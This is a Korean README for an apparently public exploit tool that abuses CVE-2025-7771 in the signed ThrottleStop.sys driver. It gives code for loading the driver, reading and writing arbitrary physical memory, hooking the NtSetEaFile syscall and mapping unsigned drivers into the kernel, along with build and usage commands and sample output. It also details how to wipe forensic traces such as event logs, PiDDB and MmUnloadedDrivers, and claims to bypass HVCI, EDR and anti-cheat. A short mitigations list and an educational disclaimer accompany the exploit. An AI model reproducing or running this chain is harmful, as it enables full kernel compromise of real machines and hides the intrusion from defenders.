
throttlestop 취약점을 이용해 서명되지 않은 드라이버로부터 시스템 권한을 상승
CVE-2025-7771 — ThrottleStop.sys IOCTL을 통한 임의 물리 메모리 읽기/쓰기
이 프로젝트는 교육 및 연구 목적으로만 게시되었습니다. 목표는 서명된 신뢰할 수 있는 커널 드라이버가 Administrator에서 SYSTEM/커널로의 로컬 권한 상승(LPE)을 위해 어떻게 악용될 수 있는지, 그리고 HVCI(Hypervisor-Enforced Code Integrity) 및 Secure Boot를 포함한 최신 Windows 보안 기능을 효과적으로 우회할 수 있는지를 시연하는 것입니다.
악의적인 목적으로 이 도구를 사용하지 마십시오. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
ThrottleStop.sys를 제공하는 모든 버전ThrottleStop.sys 커널 드라이버는 모든 로컬 Administrator가 접근할 수 있는 장치(\\.\ThrottleStop)를 노출합니다. 이 드라이버는 무제한 물리 메모리 접근을 제공하는 두 개의 IOCTL을 구현합니다:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
드라이버는 요청된 물리 주소를 커널 가상 공간에 매핑하기 위해 MmMapIoSpace()를 호출하고, 데이터를 출력 버퍼로 복사한 다음 MmUnmapIoSpace()를 호출합니다. 물리 주소에 대한 검증이 수행되지 않습니다 — 물리 주소 공간의 모든 주소를 읽을 수 있습니다.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
읽기와 동일한 메커니즘이지만, 사용자가 제공한 데이터를 매핑된 물리 주소에 씁니다. 역시 주소 또는 범위 검증이 없습니다.
이 드라이버는 ThrottleStop(CPU 언더볼팅/스로틀링 유틸리티)이 MSR 및 하드웨어 레지스터를 직접 읽고 쓸 수 있도록 설계되었습니다. 물리 메모리 IOCTL은 PCI 구성 공간 또는 CPU 온도 센서에 대한 MMIO 접근을 위해 추가되었을 가능성이 높지만, 구현에는 경계 검사가 전혀 없습니다:
GENERIC_READ | GENERIC_WRITE 핸들 접근 요구 외에 ACL 제한이 없음이로 인해 합법적인 하드웨어 유틸리티 드라이버가 완전한 커널 수준 읽기/쓰기 프리미티브로 변모합니다.
익스플로잇 체인은 로컬 Administrator 계정에서 임의 커널 코드 실행으로 권한을 상승시켜 사실상 SYSTEM 수준의 ring-0 제어를 달성합니다.
매퍼는 ThrottleStop.sys를 %TEMP%에 드롭하고, HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop 아래에 서비스 레지스트리 항목을 만든 다음 NtLoadDriver()를 통해 로드합니다:
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
참고:
ThrottleStop.sys는 정식 서명되어 있으므로 HVCI/Secure Boot가 활성화된 상태에서도 로드됩니다. Windows CI 정책은 해당 인증서를 신뢰합니다.
장치 핸들을 확보한 익스플로잇은 시스템의 모든 물리 주소를 읽고 쓸 수 있습니다:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
익스플로잇은 이를 임의 길이 전송을 위해 호출당 1, 2, 4, 8바이트 청크 읽기/쓰기를 처리하는 헬퍼 함수로 래핑합니다.
임의 커널 함수를 실행하기 위해 익스플로잇은 커널 시스템콜 핸들러의 물리 주소를 찾아야 합니다. 거의 모니터링되지 않는 NtSetEaFile 시스템콜을 대상으로 삼습니다:
LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)를 통해 usermode에서 ntoskrnl.exe를 로드하고 NtSetEaFile의 RVA를 얻습니다RVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory)에서 물리 메모리 범위를 열거하고 2MB 단위로 이동하며 바이트를 비교합니다:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid)를 실행하고, 반환된 베이스가 GetModuleHandle(NULL)과 일치하는지 확인합니다.NtSetEaFile의 물리 주소를 확인한 후 익스플로잇은 물리 메모리 쓰기를 통해 12바이트 트램펄린을 직접 설치합니다:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
핵심 인사이트: 물리 페이지에 쓰는 것은 HVCI의 가상 메모리 보호를 우회합니다. HVCI는
W+X가상 페이지를 차단하지만, 드라이버의MmMapIoSpace를 통한 물리 메모리 쓰기는 RAM으로 직접 전달됩니다.
시스템콜 후킹 프리미티브를 통해 익스플로잇은 임의 인수로 모든 커널 함수를 호출할 수 있습니다:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
이를 통해 사실상 서명되지 않은 드라이버를 커널 공간에 매핑하고 실행합니다 — 완전한 권한 상승입니다.
페이로드를 로드한 후 익스플로잇은 모든 흔적을 제거합니다:
**HVCI(Hypervisor-Enforced Code Integrity)**는 SLAT/EPT(Second Level Address Translation)를 통해 커널 가상 페이지에 W^X(Write XOR Execute)를 적용하여 서명되지 않은 코드가 커널 공간에서 실행되는 것을 방지합니다.
이 익스플로잇이 HVCI를 우회하는 이유:
합법적인 드라이버: ThrottleStop.sys는 정식 서명되어 CI 검증을 통과하므로 HVCI가 활성화된 상태에서도 정상적으로 로드됩니다.
가상이 아닌 물리: IOCTL은 물리 주소에서 작동하는 MmMapIoSpace()를 사용합니다. HVCI의 보호는 가상 페이지 테이블 수준과 EPT를 통해 시행되지만, MmMapIoSpace는 적절한 권한으로 물리 페이지에 대한 새 가상 매핑을 생성합니다. 시스템콜 물리 페이지에 쓰는 것은 기존 가상 매핑이 이미 가리키는 RAM 내용을 수정합니다.
실행 가능한 풀: 익스플로잇은 POOL_FLAG_NON_PAGED_EXECUTE와 함께 ExAllocatePool2를 통해 메모리를 할당하는데, 이는 실행 가능한 커널 메모리를 확보하는 합법적이고 HVCI가 승인한 방법입니다. 커널 자체도 JIT 컴파일 코드와 특정 풀 할당에 이를 사용합니다.
서명되지 않은 드라이버 로딩 없음: 매퍼는 서명되지 않은 이미지로 NtLoadDriver를 호출하지 않습니다. 대신 페이로드를 이미 실행 가능한 커널 풀 할당에 수동으로 쓴 다음, 시스템콜 후킹을 통해 엔트리 포인트를 호출합니다.
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys
# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
ThrottleStop.sys 해시를 Microsoft 취약 드라이버 차단 목록에 추가MmMapIoSpace 호출을 차단MmMapIoSpace 대신 MSR 전용 IOCTL(rdmsr/wrmsr) 사용MmMapIoSpace를 알려진 MMIO 범위(PCI BAR 영역, LAPIC 등)로 제한ThrottleStop.sys를 차단하는 사용자 지정 WDAC(Windows Defender Application Control) 정책 생성이 프로젝트는 교육 연구 목적으로 MIT 라이선스 하에 공개되었습니다. 기반이 되는 physmeme 프레임워크는 © 2020 xerox(MIT License)입니다.
🔬 책임 있는 공개: 이 취약점은 Demoo1337 에 의해 발견되어 공급업체에 공개되었습니다. 이 저장소는 보안 연구 커뮤니티를 위한 문서 역할을 합니다.
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2025-7771 |
| 드라이버 | ThrottleStop.sys (ThrottleStop와 함께 제공) |
| 공급업체 | TechPowerUp / Kevin Glynn |
| 유형 | 임의 물리 메모리 읽기/쓰기 |
| 영향 | 로컬 권한 상승 (Admin → Kernel) |
| CVSS | 8.2 (높음) |
| 서명 | WHQL / 증명(Attestation)을 통한 Microsoft 서명 |
| HVCI 우회 | ✅ 예 — 드라이버가 정식 서명되어 CI 정책에서 허용됨 |
| 아티팩트 | 정리 방법 |
|---|
| PiDDB 캐시 | PiDDBLock 잠금을 해제하고, RtlLookupElementGenericTableAvl을 통해 AVL 트리에서 항목을 찾아 연결을 해제하고 삭제 |
| MmUnloadedDrivers | 50개 항목 순환 버퍼를 스캔하여 일치하는 이름과 항목을 0으로 채움 |
| BigPoolTable | PoolBigPageTable에서 할당 VA를 스캔하고 항목을 0으로 채움 |
| 풀 헤더 | POOL_HEADER 태그를 MmSt(일반적인 시스템 태그)로 스푸핑 |
| PE 헤더 | 커널 할당에서 DOS/NT 헤더, 임포트 디렉터리, 디버그 디렉터리, discardable 섹션을 0으로 채움 |
| 레지스트리 | HKLM\...\Services\ThrottleStop 키 트리 삭제 |
| 드라이버 파일 | %TEMP%에서 ThrottleStop.sys 삭제 |
| 이벤트 로그 | 시스템 및 보안 로그에서 관련 항목 삭제 |
| Prefetch / BAM | ShimCache, BAM(Background Activity Moderator) 및 Prefetch 아티팩트 정리 |
| 범주 | 영향 |
|---|
| 기밀성 | 🔴 전체 — 모든 커널/프로세스 메모리 읽기 가능 |
| 무결성 | 🔴 전체 — 모든 커널 구조에 쓰기, 모든 함수 후킹 가능 |
| 가용성 | 🟡 높음 — 잘못된 쓰기는 BSOD 유발 |
| 인증 우회 | 🔴 Admin에서 SYSTEM 접근 |
| 안티치트 우회 | 🔴 커널 수준 안티치트(EAC, BattlEye, Vanguard) 우회 |
| EDR 우회 | 🔴 EDR 후킹 아래에서 실행, 보안 도구를 언후킹/비활성화 가능 |
| HVCI | 🔴 합법적인 서명 드라이버를 통해 우회됨 |
| Secure Boot | 🔴 우회됨(드라이버에 유효한 서명이 있음) |
| 담당 | 기여 |
|---|
| Demoo1337 | CVE-2025-7771의 최초 발견 및 문서화. ThrottleStop.sys IOCTL 핸들러를 리버스 엔지니어링하고, MmMapIoSpace 물리 메모리 취약점을 식별했으며, 최초의 개념 증명 익스플로잇을 게시했습니다. 그의 연구가 없었다면 이 프로젝트는 존재하지 않았을 것입니다. |
| xerox / IDontCode | 커널 매퍼, 시스템콜 후킹 및 포렌식 정리 로직의 기반으로 사용된 physmeme 프레임워크의 저자. |
| TheCruZ | kdmapper의 저자. PiDDB 캐시 정리 및 드라이버 매핑 기법이 이 구현에 반영되었습니다. |